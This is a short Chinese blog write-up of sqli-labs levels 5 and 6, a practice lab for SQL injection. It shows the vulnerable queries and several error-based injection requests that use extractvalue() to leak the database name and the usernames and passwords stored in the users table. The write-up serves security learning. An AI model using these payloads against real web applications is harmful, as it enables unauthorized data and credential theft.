sqli-labs 5-6

        从第五关开始,数据库的一些信息就没有再直接地显示在网页中了,因此我们需要选择一些其他的方法来让我们得到想要的信息。

在文本编辑器中我们可以提前知道less-5中使用的sql语句:

        $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 这样我们可以提起知道待会需要输入的数据格式。

如上,当?id=1'--+时网页没有报错。

当我们像处理前四题一样构建数据时,网页上并没有出现我们想要的结果。 

所以,我们需要通过让它报错来得到我们想要得到的信息。

接下来我们将使用到下面两个函数:

extractvalue(xml文档字符串,xpath格式字符串)                对XML文档进行查询的函数
updatexml(xml文档字符串,xpath格式字符串,替换字符串)            对XML文档进行查询并更新的函数

GET /sqli2/sqli2/Less-5/?id=1000' union select 1,2,extractvalue(1,concat('%',database()))--+

笔者这使用的是 extractvalue 函数,网页成功报错同时显示了数据库的名字。

GET /sqli2/sqli2/Less-5/?id=1000' union select 1,2,extractvalue(1,concat('%',(select group_concat(username) from users)))--+ HTTP/1.1 

GET /sqli2/sqli2/Less-5/?id=1000' union select 1,2,extractvalue(1,concat('%',(select group_concat(password) from users)))--+ HTTP/1.1

通过这个方法我们也能让它显示出用户名和密码,但是这个方法会限制它显示的内容,只能显示出31个字符。

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"

这是第六题的sql语句,与前面的题大同小异,简单更改一下输入的内容就能得到上面的结果。 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值